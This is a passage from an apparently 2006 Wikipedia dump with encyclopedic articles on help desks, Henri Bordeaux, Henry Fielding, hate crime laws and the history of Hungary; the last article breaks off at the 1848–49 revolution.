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      <text xml:space="preserve">:''For the help desk for Wikipedia, see [[Wikipedia:Help Desk]] and [[Wikipedia:Computer help desk]].''
:''For the webcomic, see &quot;[[Help Desk]]&quot;.''

A '''help desk''' is an information and assistance resource that [[troubleshoot]]s problems with [[computers]] and similar products. [[Corporations]] often provide help desk support to their customers via a [[toll-free number]], [[website]] and/or [[e-mail]]. There are also in-house help desks geared toward providing the same kind of help for [[employees]] only.

In the [[ITIL]] framework, a Help Desk may be part of a larger [[ITIL#Service_Desk|Service Desk]].

==Functions==
A typical help desk has several functions.  It provides the users a central point to receive help on various computer issues.  The help desk typically manages its requests via help desk [[software]] such as Serena's TeamTrack, HelpSTAR, HEAT, Sunrise, Sostenuto, Remedy, Peregrine ServiceCenter, RT, ServiceDesk Plus, Track-It! or Micro Outsource that allows them to track [[User (computing)|user]] requests with a unique [[ticket]] number.  This is can also be called a &quot;Local Bug Tracker&quot; or [[LBT]] The help desk software can often be an extremely beneficial tool when used to find, analyze, and eliminate common problems in an organization's computing environment. 

The user notifies the help desk of his or her issue, and the help desk issues a ticket that has details of the problem.  If the first level is able to solve the issue, the ticket is closed and updated with documentation of the solution to allow other help desk technicians to reference.  If the issue needs to be escalated, it will be dispatched to a second level.

==Organization==
Large help desks have different levels to handle different type of questions. The first-level help desk are prepared to answer the most commonly asked questions, such as those that perhaps belong in an [[FAQ]]. The second or higher levels handle more difficult calls.

Larger help desks have a person or team responsible for managing the tickets and are commonly called queue managers.  The queue manager is responsible for the ticket [[queue]]s, which can be setup in various ways depending on the help desk size or structure.  Typically, larger help desks have several teams that are experienced in working on different issues. The queue manager will assign a ticket to one of the specialized teams based on the type of issue.  Some help desks may have phone systems with [[Automatic_call_distributor|ACD splits]] that ensure that calls about specific topics are put through to analysts with experience or knowledge on that topic.

Many help desks are also strictly rostered. Time is set aside for analysts to perform tasks such as following up problems, returning phone calls, and answering questions via e-mail. The roster system ensures that all analysts get time to follow up on calls, and also ensures that analysts are always available to take incoming phone calls. As the incoming phone calls are random in nature, help desk agent schedules are often maintained using an Erlang C calculation.

===Deskside team===
The deskside team is responsible for the [[desktop computer|desktops]], [[laptop]]s and [[computer peripheral|peripherals]] such as [[personal digital assistant|PDAs]]. The help desk will assign the deskside team the second level deskside issues that the first level was not able to solve. They set up and [[computer configuration|configure]] computers for new users and are typically responsible for any physical work relating to the computers such as repairing software or [[hardware]] issues and moving [[workstation]]s to another location.

===Network team===
The [[computer network|network]] team is responsible for the network software, hardware and infrastructure such as [[server]]s, [[switch]]es, [[backup]] systems and [[firewall (networking)|firewalls]].  They are responsible for the network services such as [[email]], file, and [[computer security|security]].  The help desk will assign the network team issues that are in their field of responsibility.

===Other teams===
Some companies have a [[telecommunication|telecom]] team that is responsible for the [[telephone|phone]] infrastructure such as [[PBX]], [[voicemail]], [[VOIP]], telephone sets, [[modems]] and [[fax machine]]s.  They are responsible for configuring and moving telephone numbers, voicemail setup and configuration and are assigned these types of issues from the help desk.

Companies with custom [[Application_software|application software]] may also have an applications team, who are responsible for development of any in-house software.  The Applications team may be assigned problems such as [[Software_bug|software bugs]] from the Help Desk.  Requests for new features or capabilities to in-house software that come through the Help Desk are also assigned to Applications groups.

Not all of the help desk staff and supporting [[information technology|IT]] staff are in the same location.  With [[remote]] access applications--such as Microsoft Remote Desktop, PcAnywhere, IBM Tivoli and Dameware--technicians are able to solve many help desk issues from another location or their home office.  There is a need for on-site support to physically work on some help desk issues; however, help desks are able to be more flexible with their remote support. They can also audit workstations.

''Help desk'' is a broadly applied term referring to a staffed resource&amp;mdash;often, an actual desk, or a telephone service&amp;mdash;that can help persons answer questions or to use resources such as [[audio-visual]] or computer resources.

==See also==
* [[library reference desk]]
* [[programming help desk]]
* [[help desk humor]]
* [[Technical support]]
* [[List of remote administration tools]]

==External links==

* [http://www.ajeebo.com/Help_Desk_Software Find Help Desk Software] - Ajeebo: listing of help desk, customer support software and more
* [http://www.metaquest.com/Solutions/DesktopManagement/HelpDesk.html HelpDesk] - Web-based HelpDesk Issue Tracking Software
* [http://helpdesk.wyopub.com Help Desk Journal] - Tips and techniques for Help Desk excellence
* [http://www.imiddleton.com Help Desk Research] by an academic whose site has reports &amp; downloads on success factors, statistics, industry etc
* [http://www.helpdesk.com/software-helpdesk.htm Help Desk Software Directory] (Helpdesk.com)
* [http://www.simpleticket.net SimpleTicket] - Open Source Ticketing System produced by Architel
* [http://www.vector-networks.com/solutions/help-desk-solution.php PC-Duo Enterprise HelpDesk] - IT Web-based Help Desk system
* [http://www.userscape.com/products/helpspot HelpSpot Help Desk] - ISV developed solution for small to medium size organizations
* [http://www.magnoware.com DataTrack System] - Web-enabled service and support solution by Magnoware
* [http://www.servicedeskplus.com ServiceDesk Plus] - Affordable IT Help Desk and Asset Management software 
* [http://www.getahelpdesk.com Get A Helpdesk] - Web based helpdesk software by Innovate it.
* [http://www.cerberusweb.com Cerberus Helpdesk] - Popular e-mail management package by WebGroup Media, LLC.

[[Category:Computer specialists]]

[[es:Help desk]]
[[fr:Service de dépannage]]
[[nl:Helpdesk]]
[[pl:Help desk]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Bordeaux</title>
    <id>13545</id>
    <revision>
      <id>40705975</id>
      <timestamp>2006-02-22T13:03:54Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>* {{gutenberg author| id=Henry+Bordeaux | name=Henry Bordeaux}}</comment>
      <text xml:space="preserve">'''Henri Bordeaux''' ([[25 January]] [[1870]] in [[Thonon-les-Bains]] - [[29 march]] [[1963]]) was a French writer and lawyer.  His novels included:
* ''Le Pays natal'' (1900)
* ''La Peur de vivre'' (1902)
* ''La Petite mademoiselle'' (1905)
* ''Les Roquevillard'' (1906)
* ''Les Yeux qui s’ouvrent'' (1908)
* ''La Croisée des chemins'' (1909)
* ''La Robe de laine'' (1910)
* ''La Neige sur les pas'' (1911)
* ''La Maison'' (1913)
* ''La Résurrection de la chair'' (1920)
* ''La Chartreuse du reposoir'' (1924)
* ''La Revenante'' (1932)

His writing was likened to [[Paul Bourget]]'s.

== External links ==
* {{gutenberg author| id=Henry+Bordeaux | name=Henry Bordeaux}}

{{France-writer-stub}}

[[Category:1870 births|Bordeaux, Henri]]
[[Category:1963 deaths|Bordeaux, Henri]]
[[Category:French lawyers|Bordeaux, Henri]]
[[Category:French novelists|Bordeaux, Henri]]

[[fr:Henry Bordeaux]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Fielding</title>
    <id>13546</id>
    <revision>
      <id>41962152</id>
      <timestamp>2006-03-02T22:26:51Z</timestamp>
      <contributor>
        <ip>216.47.136.129</ip>
      </contributor>
      <comment>phrase was opinionated</comment>
      <text xml:space="preserve">[[image:Henry_Fielding.jpg|right|]]
'''Henry Fielding''' ([[April 22]], [[1707]] &amp;ndash; [[October 8]], [[1754]]) was an [[England|English]] [[novelist]] and [[dramatist]] known for his rich earthy humor and [[satire|satirical]] prowess and as the author of the [[novel]] ''[[The History of Tom Jones, a Foundling|Tom Jones]]''.

Born near [[Glastonbury]] in [[Somerset]] in [[1707]], Fielding was educated at [[Eton College]].  His younger sister, [[Sarah Fielding|Sarah]], was also destined to be a successful writer.  After a romantic episode with a young woman which ended in his getting into trouble with the law, he went to [[London]] where his literary career began.  

In [[1728]], he travelled to [[Leiden]] to study.  On his return, he began writing for the [[theatre]], some of his work being savagely critical of the contemporary government under Sir [[Robert Walpole]].  The [[Licensing Act 1737|Theatrical Licensing Act]] of [[1737]] is alleged to be a direct result of his activities.  The particular play that triggered the Licensing Act was ''The Vision of the Golden Rump'', but Fielding's satires had set the tone.  When the licensing act passed, political satire on the stage was virtually impossible, and playwrights whose works were staged were viewed as suspect.  Fielding therefore retired from the theatre and resumed his career in law, becoming a [[Justice of the peace]] in [[1748]] for [[Middlesex]] and [[Westminster]].

Fielding never stopped writing political satire and satires of current arts and letters.  His ''Tragedy of Tragedies'' of Tom Thumb was, for example, quite successful as a printed play.  He also contributed a number of works to journals of the day.  He wrote for [[Tory]] periodicals, usually under the name of &quot;Captain Hercules Vinegar.&quot;  As Justice of the Peace he issued a warrant for the arrest of [[Colley Cibber]] for &quot;murder of the English language.&quot;

Fielding's first major success in a novel was ''[[An Apology for the Life of Mrs. Shamela Andrews|Shamela]]'', an anonymous [[parody]] of [[Samuel Richardson]]'s melodramatic novel, ''[[Pamela]]''.  It is a satire that follows the model of the famous Tory satirists of the previous generation ([[Jonathan Swift]] and [[John Gay]], in particular).  He followed this up with ''[[Joseph Andrews]]'' ([[1742]]), an original work supposedly dealing with Pamela's brother, Joseph.  Although also begun as a parody, this work developed into an accomplished novel in its own right and is considered to mark Fielding's debut as a serious novelist.  In [[1743]], he published a novel in the ''Miscellanies'' volume III (which was the first volume of the Miscellanies).  This was ''The History of the Life of the Late Mr Jonathan Wild the Great.''  This novel is sometimes thought of as his first because he almost certainly began composing it before he wrote &quot;Shamela&quot; and &quot;Joseph Andrews.&quot;  It is a satire of Walpole that draws a parallel between Walpole and [[Jonathan Wild]], the infamous gang leader and highwayman.  He implicitly compares the [[Whig]] party in [[Parliament]] with a gang of thieves, being run by Walpole, whose constant desire to be a &quot;Great Man&quot; (a common epithet for Walpole) should culminate only in the apotheosis of greatness: being hanged.    

His greatest work was ''[[The History of Tom Jones, a Foundling|Tom Jones]]'' ([[1749]]), a meticulously constructed [[picaresque novel]] telling the convoluted and hilarious tale of how a foundling came into a fortune.

His first wife, Charlotte, on whom he later modeled the heroines of both ''Tom Jones'' and ''Amelia'', died in [[1744]]. Three years later Fielding married her former maid, Mary, disregarding public opinion.  Despite this, he became London's Chief Magistrate and his literary career went from strength to strength. Joined by his younger half-brother [[John Fielding|John]], he helped found London's first [[police]] force, the [[Bow Street Runners]] in [[1750]].  However, his health had deteriorated to such an extent that he went abroad in [[1753]] in search of a cure.  He died in [[Lisbon]] in [[1754]]. Despite being blind, John Fielding succeeded him as Chief Magistrate.

==Partial list of works ==
* ''Love in Several Masques'' - play, 1728
* ''Rape upon Rape'' - play, 1730. Adapted by [[Bernard Miles]] as ''Lock Up Your Daughters!'' in 1959, filmed in 1974
* ''The Temple Beau'' - play, 1730
* ''The Author's Farce'' - play, 1730
* ''The Tragedy of Tragedies; or, The Life and Death of Tom Thumb'' - play, 1731
* ''Grub-Street Opera'' - play, 1731
* ''The Modern Husband'' - play, 1732
* ''Pasquin'' - play, 1736
* ''The Historical Register for the Year 1736'' - play, 1737
* ''[[An Apology for the Life of Mrs. Shamela Andrews]]'' - novel, 1741
* ''The History of the Adventures of Joseph Andrews and his Friend, Mr. Abraham Abrams'' (''[[Joseph Andrews]]'') - novel, 1742
* ''The Life of Jonathan Wild the Great'' - novel, 1743, ironic treatment of [[Jonathan Wild]], the most notorious underworld figure of the time. 
* ''[[The History of Tom Jones, a Foundling]]'' - novel, 1749
* ''A Journey from This World to the Next'' - 1749
* ''[[Amelia (novel)|Amelia]]'' - novel, 1751
* ''The Covent Garden Journal'' - 1752
* ''Journal of a Voyage to Lisbon'' - travel narrative, 1755
* ''Tom Thumb N.D.''

== External links ==
{{wikiquote}}
* {{gutenberg author| id=Henry+Fielding | name=Henry Fielding}}

[[Category:English dramatists and playwrights|Fielding, Henry]]
[[Category:English novelists|Fielding, Henry]]
[[Category:English satirists|Fielding, Henry]]
[[Category:Old Etonians|Fielding, Henry]]
[[Category:1707 births|Fielding, Henry]] 
[[Category:1754 deaths|Fielding, Henry]]
[[Category:Natives of Somerset|Fielding, Henry]]

[[cs:Henry Fielding]]
[[de:Henry Fielding]]
[[eo:Henry FIELDING]]
[[fr:Henry Fielding]]
[[hr:Henry Fielding]]
[[it:Henry Fielding]]
[[he:הנרי פילדינג]]
[[ja:ヘンリー・フィールディング]]
[[nl:Henry Fielding]]
[[pt:Henry Fielding]]
[[zh:亨利·菲尔丁]]</text>
    </revision>
  </page>
  <page>
    <title>Hate crime</title>
    <id>13547</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42154255</id>
      <timestamp>2006-03-04T04:25:06Z</timestamp>
      <contributor>
        <ip>142.161.89.237</ip>
      </contributor>
      <comment>/* Against */</comment>
      <text xml:space="preserve">[[Image:FrenchCemetery103004-01.jpg|thumb|right|A [[Jew]]ish cemetery in [[France]] after being defaced by [[Neo-Nazism|Neo-Nazis]].]]
'''Hate crimes''' are [[crimes]] (such as [[violent crime]], [[hate speech]] or [[vandalism]]) that are motivated by feelings of [[Enmity|hostility]] against any identifiable group of people within a society. If systematic, rather than spontaneous, instigators of such crimes are sometimes organized into [[hate groups]].



==In the United States==
The [[Congress of the United States|U.S. Congress]] defined in [[1992]] a hate crime as a crime in which &quot;the defendant's conduct was motivated by [[hate|hatred]], bias, or prejudice, based on the actual or perceived [[race]], [[skin color|color]], [[religion]], [[nationality|national origin]], [[ethnicity]], [[gender]], [[sexual orientation]] or [[gender identity]] of another individual or group of individuals&quot; (HR 4797). In [[1994]], the [[Violent Crime Control and Law Enforcement Act]] added [[disability|disabilities]] to the above list.

In the last decade of the 20th century, legislation in many [[U.S. state]]s has established harsher penalties for a number of crimes when they are also considered hate crimes; interestingly, however, very few of these statutes make it more likely for a [[murder]] to trigger the [[death penalty]] when it is found to have also been a hate crime. While some claim that these hate crimes laws exist because women and certain minorities have been victims and require special protection, others say that they exist because crimes motivated by hate deserve a harsher punishment. [[California Penal Code]] section 422.6 offers a wider interpretation of hate crime, defining it as those acts &quot;committed because of the victim's actual or perceived race, color, religion, ancestry, national origin, disability, gender, or sexual orientation. The actions considered criminal are using force or threat of force to willfully injure, [[Intimidation|intimidate]], interfere with, [[Oppression|oppress]], or threaten any other person in the free exercise or enjoyment of any right or privilege secured to him or her by the Constitution or laws of the State or country.&quot;

===Distinguishing features of hate crimes===
It can be difficult to distinguish a hate crime from other crimes. Usually, a hate crime is detected by a background investigation of the accused person or eyewitness reports of the crime. In some cases, circumstantial evidence shows the intent of the accused. For example, journals or record might describe the hatred and contain plans for crimes to be committed against the targeted group. In other cases, classification of a hate crime is by the judgment of [[law enforcement]] and [[prosecutor]]s.

It can be much harder to convict for a hate crime than a normal crime. This may affect whether the prosecuting attorney pursues prosecution under the hate crime statute. The [[Federal Bureau of Investigation]] sets forth very strict rules that prosecutors use in order to decide whether a crime qualifies as a hate crime. 

While the hate crime definition used by the FBI for purposes of crime statistics includes sexual orientation, disability, and gender as protected categories, this is not the case for all hate crime laws. As of October 2001, the federal hate crime law 18 USC 245 (b)(2), passed in [[1969]], protects religion, race and national origin, and applies only if the victim is engaged in one of six protected activities. Seven states have no hate crime laws, 20 states have hate crime laws that do not protect sexual orientation, and 24 states have hate crime laws that include sexual orientation. There have been two attempts in 2001 and in 2004 to amend the current federal hate crime law to include homosexuals. Currently, these attempts have been unsuccessful. 

The [[Fourth Geneva Convention]] in [[1948]] requires all signatories to criminalize incitement to [[genocide]].

===Arguments for and against hate crime laws===

==== For ====

Many support hate crime laws, stating that their enactment gives individuals greater discouragement from committing hate crimes. Supporters also claim that all laws are subjective, and that if society can determine that one crime deserves more punishment than another (e.g. [[murder]] vs. involuntary [[manslaughter]]) then it can also determine what motivations deserve harsher [[punishment]]s.

Some supporters reason that one who can be moved to violence by hatred of a ''class'' of people presents a greater danger to society than one who merely hates an individual. Their position states that if normal punishments are inadequate deterrents, then additional punishments may deter crimes motivated by hate.  Other proponents of hate crime legislation consider that socially sanctioned hate is a problem, and that specific legislation is needed to protect those who are often perceived to be less worthy of protection.

Another argument sometimes advanced by supporters of hate-crime laws is that violent acts motivated by political or similar reasons are characteristic of earlier, less enlightened societies, and toleration would result in a regress to an earlier stage of social development.

Proponents point out that it is not unusual to make thoughts or states of mind ([[mens rea]]) elements of a crime. For example, the distinction between [[first-degree murder]], [[second-degree murder]], and [[manslaughter]] depends on the degree to which the killing was deliberate or premeditated. The definition of [[fraud]] requires [[scienter]] -- that the perpetrator ''knowingly'' defraud the victim.

==== Against ====

Many oppose hate crime laws, stating that imposing a greater penalty on an act committed in hate would thus make hating illegal, citing the novel [[1984 (novel)|Nineteen Eighty-Four]], in which certain thoughts were legally punishable crimes. Some Americans feel this to be a direct infringement on [[First Amendment to the United States Constitution|First Amendment]] rights. Others argue that such legislation provides special status to certain protected groups. They also say that distinguishing a hate crime requires reading the mind of the accused, a dubious prospect at best and perhaps not something that should be considered when deciding on punishments.  In short, critics argue that hate crime legislation [[thoughtcrime|criminalizes thought]]. Some American critics believe that it also violates [[Fourteenth Amendment to the United States Constitution|the Fourteenth Amendment]] by denying &quot;[[equal protection]] of the laws&quot;.  It is said to replaces one kind of inequality with another.

In addition, it is argued that hate crime prosecutions seek to punish an individual for motive rather than intent.  For example, the difference between first or second degree murder is intent, not motive. It is one thing to distinguish between different states of [[mens rea]], or guilty mind, such as between knowingly, recklessly, or negligently putting someone at risk. It is another to distinguish whether someone who knowingly attempts to harm another person is motivated by hatred for the particular person or by hatred of a class of persons to which he or she belongs. The law has not traditionally made the latter distinction.

It is also said that hate crime laws are largely unnecessary, as a crime committed solely on the basis of hatred of a group would already be punished harshly by the justice system. If no argument could be made in mitigation, thereby reducing the culpability of the offender or the seriousness of the offence, the offender would be punished to the full extent of the law.

==External links==
*[http://www.asian-nation.org/racism.shtml Asian-Nation: Anti-Asian Racism &amp; Hate Crimes] by C.N. Le, Ph.D.
*[http://www.fbi.gov/ucr/ucr.htm FBI Uniform Crime Reports], which includes hate crimes statistics.
*[http://www.religioustolerance.org/hom_hat1.htm Definitions, laws, legislative efforts]
*[http://www.ibiblio.org/rcip//sbh.html Survivor bashing - bias motivated hate crimes]
*[http://worldnetdaily.com/news/article.asp?ARTICLE_ID=48898 'Hate crime' victims: Young, poor, white] [[WorldNetDaily]] article.

[[Category:Hate crimes| ]]
[[Category:Crimes]]
[[ja:ヘイトクライム]]
[[sv:Hatbrott]]
[[simple:Hate crime]]</text>
    </revision>
  </page>
  <page>
    <title>History of Hungary</title>
    <id>13548</id>
    <revision>
      <id>40918126</id>
      <timestamp>2006-02-23T21:54:10Z</timestamp>
      <contributor>
        <username>Jaxl</username>
        <id>309415</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.42.214.103|68.42.214.103]] ([[User talk:68.42.214.103|talk]]) to last version by Aetil</comment>
      <text xml:space="preserve">This is the '''[[history]] of [[Hungary]]'''. See also the [[history of Europe]], the [[history of present-day nations and states]], [[Hungary before the Magyars]], and [[Hungary]].

==Origins of the Hungarian state==
&lt;!-- Image with unknown copyright status removed: [[Image:Hungarian_horseburial_nearCluj10c.jpg|thumb|200px|Magyar horse burial site in Transylvania]] --&gt;
The commonly accepted view of the origin of the [[Magyars]] (known as Hungarians in most western languages) is that they were a nomadic people, with indeterminate and disputed origin from the Eurasian plains until the end of the 9th century&amp;nbsp;AD. They were a confederacy of seven [[Magyars|Magyar]] and three allied [[Khabar]] tribes; the name Hungary / Hungarian is most probably derived from the Turkish term [[Onogur]] meaning 'Ten Arrows', signifying united military strength in nomadic symbolism. In 896 they settled temporarily around the upper [[Tisza]] river basin, in 901 around the [[Balaton]]. Subsequently they also partly occupied what is today eastern [[Austria]] and southern [[Slovakia]]. After their defeat at the [[Battle of Lechfeld]] in 955, they definitively settled in the [[Carpathian basin]].

[[Árpád]] was the Magyar leader whom later accounts, written by order of the [[Árpáds]], name as the single leader who led the Hungarian tribes conquering the territory in the 9th century. The ruling prince (''fejedelem'') [[Géza]] of the House of Árpád, who was the tribal ruler of basically what is today western Hungary but also nominal overlord of the seven Magyar tribes, intended to integrate Hungary into Christian (Western) Europe, rebuilding the state according to the Western model. He established a dynasty by naming his son Vajk (later called [[Stephen I of Hungary|Stephen]]) as his successor. This was contrary to the then dominant tradition of the succession of the eldest surviving member of the ruling family.

''See also'': [[Hungary before the Magyars]], [[Sources of early Hungarian history]]

== The [[Kingdom of Hungary]] ==
=== High and Late Middle Ages (1000 - 1526) ===
Hungary was established as a Christian kingdom under [[Stephen I of Hungary]], who was crowned in December 1000 AD or January 1001 AD. He was the son of Géza and thus a descendant of Árpád. By 1006, Stephen had solidified his power, eliminating all rivals who either wanted to follow the old pagan traditions or wanted an alliance with the orthodox Christian Byzantine Empire. Then he started sweeping reforms to convert Hungary into a feudal state, complete with forced Christianisation.

Serbian Princess Jelena married to the Hungarian King in the first half of the [[12th century]], and brought her little brother, Beloš, with her. Beloš became ''Duke of Hungary'', as one of the most improtant member of the Court and supreme commander of the Hungarian Army. After the King's death, Queen Jelena acted as a viceroy while their son was too young, and Beloš further expanded his influence over the Kingdom of Hungary. After a failed attempt to install himself in Rascia, Beloš retired as [[Ban (title)|Ban]] of [[Croatia]]. 

What emerged was a strong kingdom that withstood attacks from German kings and Emperors, passing armies of Crusaders, as well as later nomadic tribes following the Magyars from the East, integrating some of the latter into the population (along with Germans invited to Transylvania and what is now Slovakia, especially after 1242), but also subjugating smaller Slavic kingdoms to the South, among them [[Croatia]], and Slavic territories in present-day central and eastern Slovakia.

In [[1241]]/[[1242]], this kingdom received one major blow in the form of the [[Mongol invasion]] of Europe: after the destruction of the Hungarian army in the Battle of Muhi, [[Béla IV of Hungary|King Béla IV]] fled, and one third of the population died (leading later to the invitation of settlers from neighbours in the West and South) in the ensuing destruction (''Tatárjárás''). Only strongly fortified cities and abbeys could withstand the assault. As a consequence, after the Mongols retreated, King Béla ordered the construction of a line of major border castles (''végvár''). These proved to be most important in the long struggle with the [[Ottoman Empire]] in the following centuries (from the late 14th century onwards), but their cost indebted the King to the major feudal landlords so much that central rule, already diminished by the ''Aranybulla'' (Hungary's version of the [[Magna Carta]], 1222), was critically weakened. 

Árpád's descendants ruled the country until 1301. After that, most Hungarian kings were from abroad. Under some of these rulers, the Kingdom of Hungary reached its greatest extent, yet the influence of the major landlords was at most kept in check &amp;ndash; while the Ottoman Turks, confronted ever more often, increased their strength.

The second Hungarian king in the [[Angevin]] line of French origin, [[Louis I of Hungary|Louis I the Great]] (''I.'' or ''Nagy Lajos'', king 1342-1382) extended his rule over territories from the [[Black Sea]] to the [[Adriatic Sea]], and temporarily occupied the [[Two Sicilies]] (after his brother was murdered there by his wife, who was also his cousin). From 1370, the death of [[Casimir III of Poland|Casimir III the Great]], he was also king of Poland. The alliance between Casimir and [[Charles I of Hungary]], the father of Louis, was the start of a still lasting Polish-Hungarian friendship.

Sigismund, a prince from the [[Luxembourg]] line who first married, then succeeded at the throne, then divorced Louis's daughter, Queen Mary, in 1433 even became [[Sigismund, Holy Roman Emperor]] &amp;ndash; but his rule was marked by territorial losses in the South (for example to growing Serbia), the 1396 defeat in a late crusade against the Ottoman Turks at [[Nicopolis]], the open dissent of feudal landlords, the [[Hussite]] rebellion in the Czech kingdom (which was also under his rule) and partly in Slovakia, and a major peasant rebellion in Transylvania.

The last strong king was the renaissance king [[Matthias Corvinus of Hungary|Matthias Corvinus]]. He was the son of the feudal landlord and warlord [[John Hunyadi]], who led the Hungarian troops in the 1456 [[Siege of Nándorfehérvár]]. Building on his fathers' vision, the aim of taking on the Ottoman Empire with a strong enough background, Matthias set out to build a great empire, expanding southward and northwest, while he also implemented internal reforms. 

But after Matthias's death, the weak king [[Ladislaus II of Bohemia and Hungary|Ladislaus II]] of the Polish/Lithuanian [[Jagiellon]] line nominally ruled the areas he conquered except Austria, but real power was in the hand of the nobles. In 1514, two years before Ladislaus' death, there was even a major peasant rebellion in the [[Pannonian lowlands]] and parts of Transylvania (called the Dózsa Insurrection [after its Transylvanian leader] or Hungarian Peasant's War), crushed barbarously by the nobles. As central rule degenerated, the stage was set for a defeat at the hands of the [[Ottoman Empire]]. In 1521, ''Nándorfehérvár'' (today [[Belgrade]]) fell, and in 1526, the Hungarian army was destroyed in the [[Battle at Mohács]].

Through the centuries the [[Kingdom of Hungary]] has kept its old &quot;constitution&quot;, based on freedom of nobles, privileged people (Saxons, Jász-kuns) and [[free royal town]]s e.g. [[Buda]] (Ofen), [[Košice]] (Kassa), Pressburg (Pozsony, today: [[Bratislava]]), Klausenburg (Kolozsvár, today [[Cluj-Napoca]]).

=== Early modern times (1526 - 1718) ===
Based on previous agreements, the [[Habsburgs]] ruled as kings of Hungary from 1526 to 1918. 

In 1526, after [[Ottoman wars in Europe|some 150 years of war with Turks in the south]], the Turks finally conquered parts of Hungary, and continued their expansion [[Ottoman wars in Europe|until 1556]]. With the conquest of Buda in 1541 by the Turks, Hungary fell into three parts. Present-day Slovakia, western [[Transdanubia]], present-day [[Burgenland]], western Croatia and parts of north-eastern present-day Hungary went to the Habsburgs, and became a province of their empire under the name [[Royal Hungary]]. The Austrian Emperors were formally crowned as Kings of Hungary. [[Transylvania]], in turn, became independent and a Turkish vassal state. The remaining central area (mostly present-day Hungary), including the capital of [[Buda]], became a province of the [[Ottoman Empire]]. A large part of the area became devastated by permanent warfare.  Most smaller settlements disappeared. Rural people could survive only in larger settlements owned directly and protected by the Sultan, in the so called [[Khaz towns]]. The Turks were indifferent to the type of Christian religion of their subjects and the Habsburg counter-reformation measures could not reach this area. As a result, the majority of the population of the area became Protestant (Calvinist). In 1686, [[Austria]]-led Christian forces reconquered Buda, and in the next few years, all of the country except areas near [[Timişoara]] (Temesvár). In the 1699 [[Treaty of Karlowitz]] these changes were officially recognized, and in 1718 the entire Kingdom of Hungary was restored from the Ottomans.

Pressburg (Pozsony, today: Bratislava) became the new capital (1536-1784), coronation town (1563-1830) and seat of the Diet (1536-1848) of Hungary. [[Trnava]] (Nagyszombat), in turn, became the religious center in 1541.

Parallelly, between 1604 and 1711, there was a series of anti-Habsburg (i.e. anti-Austrian) and anti-Catholic (requiring equal rights and freedom for all Christian religions) uprisings, which &amp;ndash; with the exception of the last one &amp;ndash; took place in Royal Hungary, more exactly on the territory of present-day Slovakia. The uprisings were usually organized from Transylvania. The last one was an uprising led by [[Francis II Rákóczi|Francis Rákóczi]] (''II. Ferenc Rákóczi''), who was chosen by the people to be the future king. When Austrians crushed the rebellion in 1711, Rákóczi was in Poland. He later fled to France, finally Turkey, and lived to the end of his life (1735) in nearby [[Rodosto]]. Afterwards, to make further armed resistance impossible, the Austrians blew up some castles, and let peasants to remove stones from most others (the ''végvár''s among them).

See also: [[Moldavian Magnate Wars]], [[Stephen Bathory, King of Poland]], [[Battle of Vienna]] &lt;!--likely should be linked from main text body--&gt;

=== 18th century (1718 - 1780) ===
This period was characterized by a reconstruction of the country. The Habsburg rulers pursued a re-settlement of ravaged areas with new immigrants from present-day Austria and Germany, from the northern and eastern parts of the country (present-day Slovakia and Romania), and from Serbia. 

=== Enlightenment (1780 - 1848) ===
Influenced by the [[French revolution]], and in response to attempts at Germanisation by [[Joseph II, Holy Roman Emperor|Joseph II]] (ruled 1780-1790), there emerged a national revival movement in Hungary of the Magyars, but also of all the other non-Magyar nationalities living in the Kingdom of Hungary. 

During the [[Napoleonic Wars]] and afterwards, the Hungarian Diet had not convened for decades. In the 1820s, the Emperor was  forced to convene the Diet, and thus a Reform Period began. Nevertheless, its progress was slow, because the nobles insisted on retaining their privileges (no taxation, exclusive voting rights, etc.). Therefore the achievements were mostly of national character (e.g. introduction of Hungarian as the official language of the country, instead of the former Latin). The other nationalities of the country protested against these measures.

The first measurements of the population on the area of the Kingdom of Hungary (including Croatia and Transylvania) were performed in the late 18th century. Different estimates based on these measurements put the proportion of the Magyars in the Kingdom (with or without Croatia) at 29% to 42% towards the end of the 18th century. A first thorough research in 1836-40 put the percentage of Magyars at 36-37% (without Croatia 48%) and a census in 1850-51 at 45.4% in all the territory of the Kingdom of Hungary. The official percentages of the other nationalities according to the 1850-51 census (although it was criticised for bias towards the percentage of Hungarians and Germans already at that time) were: 
*Slovaks (18.6%)
*Germans (11.8%)
*Romanians (10.1%)
*Serbs and Croats (5.6%)
*Ukrainians and Ruthenians (4.8%)
*Others (3.7%)

The [[Habsburg]] Emperors and particularly the chancellor [[Klemens Wenzel von Metternich|Metternich]] refused to implement reforms and this led to a national revolution.

=== The 1848 Revolution (1848 - 1849) ===
''See also:'' [[The Revolutions of 1848 in the Habsburg areas]].

The revolution started on [[March 15]], [[1848]], with a bloodless revolution in Pest and Buda (mass demonstrations forcing the imperial governor to accept all demands) followed by various insurrections throughout the kingdom, which enabled Hungarian reformists to declare Hungary's autonomy within the Habsburg Empire, under the governor [[Lajos Kossuth]] and the first Prime minister [[Lajos Batthyány]]. During the subsequent civil war, the Magyars, and with them foreign revolutionaries that came to fight after their own revolutions were crushed, had to fight against the Austrian Army, but also against the [[Serbs]], [[Croats]], [[Slovaks]], [[Romanians]] and Transylvanian [[German people|Germans]] living on the territory of the Kingdom of Hungary, who had their own ethnic-national movements, and were unwilling to accept a Hungarian dominance. (Though, ethnic allegiances weren't that clear at the time: the majority of revolution-starting Buda and Pest was German-speaking, while revolutionary poet and national icon [[Sándor Petőfi]] was of Serbian and Slovak  descent.)

Faced with revolution at home in Vienna too, Austria first accepted Hungary's autonomy. However, after the Austrian revolution was beaten down, and [[Franz Joseph of Austria|Franz Joseph]] replaced his mentally retarded uncle [[Ferdinand of Austria|Ferdinand I]] as Emperor, Austria again refused to accept Hungarian autonomy, and a civil war followed. Initially, the Hungarian forces (''Honvédség'') defeated Austrian armies (at [[Battle of Pákozd|Pákozd]] in September 1848 and at [[Battle of Isaszeg|Isaszeg]] in April 1849), during which they even declared Hungary's total independence of Austria in April 1849. Because of the success of revolutional resistance, Franz Joseph had to ask for help from &quot;''The Gendarme of Europe''&quot;, Czar [[Nicholas I of Russia|Nicholas I]], and Russian armies invaded Hungary, causing antagonism between the Hungarians and the Russians. Julius Freiherr von Haynau, the leader of the Austrian army who then became governor of Hungary for a few months of retribution, ordered the execution of 13 leaders of the Hungarian army (only a minority of which spoke Hungarian) in [[Arad, Romania|Arad]] and the Prime minister Batthyány in [[Pest (city)|Pest]].

